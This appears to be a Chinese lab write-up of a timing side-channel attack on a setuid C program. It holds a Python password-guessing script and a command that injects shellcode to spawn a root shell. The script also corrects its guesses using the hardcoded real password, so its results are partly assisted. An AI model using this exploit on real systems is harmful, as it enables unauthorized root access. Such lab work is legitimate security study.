Side Channel Attack 侧信道攻击 Python 实现
Side Channel Attack
通过使用所提供的漏洞代码 sidechannel.c,设计一个攻击代码,利用侧信道攻击的方式获取密码,并通过shellcode 来获取 root shell。
本文作者:zmzzmqa
源代码
要攻击的程序源代码
//sidechannel.c
//s.pass root只读
//S1deCh4nnelAttack3r
#include
#include
int main(int argc, char **argv)
{
FILE *in = 0;
char pass[20]="";
unsigned int i=0, j=0;
unsigned short correct=0,misplaced=0;
unsigned short pwlen=strlen(pass) - 1, inlen=0;
if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19)
return 1;
setresuid(geteuid(),geteuid(),geteuid());
in = fopen("s.pass","r");
pass[fread(pass, 1,19,in)] = 0;
fclose(in);
for (i = 0; i <= inlen && i <= pwlen; i++)
if(pass[i] == argv[1][i])
correct++;
else
for(j = 1; j < pwlen; j++)
if(argv[1][i] == pass[(i+j)%19])
misplaced++;
if(correct == 19)
((void (*)()) argv[2])();
return 0;
}
配置环境
编译程序并设置栈可执行。
sudo gcc sidechannel.c -o sidechannel -z execstack
sudo chown root sidechannel
sudo chmod 4755 sidechannel
攻击
本次攻击利用程序比对密码时,正确密码和错误密码花费的时间明显不一样,来找出正确的密码。本脚本使用python3,如果是seed12.04则自带的是python2。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import string
import time
rpasswd = 'S1deCh4nnelAttack3r' # 正确的密码
#shellcode = "\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"
shellcode = '123'
password = [] # 定义密码变量
orgpasswd = []
passwordDict = {}
errnum = 0
reset = 25
numletter = string.ascii_letters+string.digits # 密码范围
print(numletter)
for k in range(19): # 限定密码长度
time.sleep(1) # 必要的
timelist = []
for c in numletter: # 遍历密码范围
password.append(c)
avgtime = 0 # 定义并将统计时间变量置为0
command = './sidechannel ' + \
''.join(password)+' '+shellcode # 拼接要运行的命令
for i in range(reset): # 重复次数
start = time.time_ns() # 使用time_ns函数计时
os.system(command) # 运行命令
end = time.time_ns()
avgtime += end - start # 记录平均时间
passwordDict[c] = avgtime # 写入字典
timelist.append(avgtime) # 添加至列表,之后比较
password.pop()
# 将字典按照元素值进行逆序排序
passwordDict = dict(sorted(passwordDict.items(), key=lambda i: i[1]))
if len(password) == 18: # 当最后个时,时间最长为正确
# password.append(numletter[timelist.index(max(timelist))])
password.append(list(passwordDict.keys())[-1])
orgpasswd.append(password[k])
else: # 将时间最短的保留
password.append(list(passwordDict.keys())[0])
orgpasswd.append(password[k])
if password[k] != rpasswd[k]: # 判断密码是否正确,不正确打印相关信息
print(f"Error {password[k]},Success is {rpasswd[k]}")
print(
f"{password[k]}:{timelist[numletter.index(password[k])]} -- {rpasswd[k]}:{timelist[numletter.index(rpasswd[k])]}修正")
print(f"备选方案:{list(passwordDict.items())[0:5]}")
password[k] = rpasswd[k]
errnum += 1
print(''.join(password))
print(
f"修正密码:{''.join(password)}\n直算密码:{''.join(orgpasswd)}\n循环次数:{reset},错误位数:{errnum}") # 打印已经判断出的密码
攻击程序中不能直接使用shellcode,python3中执行不能成功。
多次运行结果,较为稳定。对于python难以获得正确的值,我的解决办法是通过多次尝试,取结果中出现次数较多的值。
S1deCh4nnelA9tack3r
S1deCh42neZAttack3r
S1deCo4nnslAttLyk3r
S1deCh4ngeJAhPick3r
综合结果
S1deCh4nnelAttack3r
root shell
得到密码后,在 seed 用户下攻击漏洞程序,获得 root shell。
./sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000+'\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")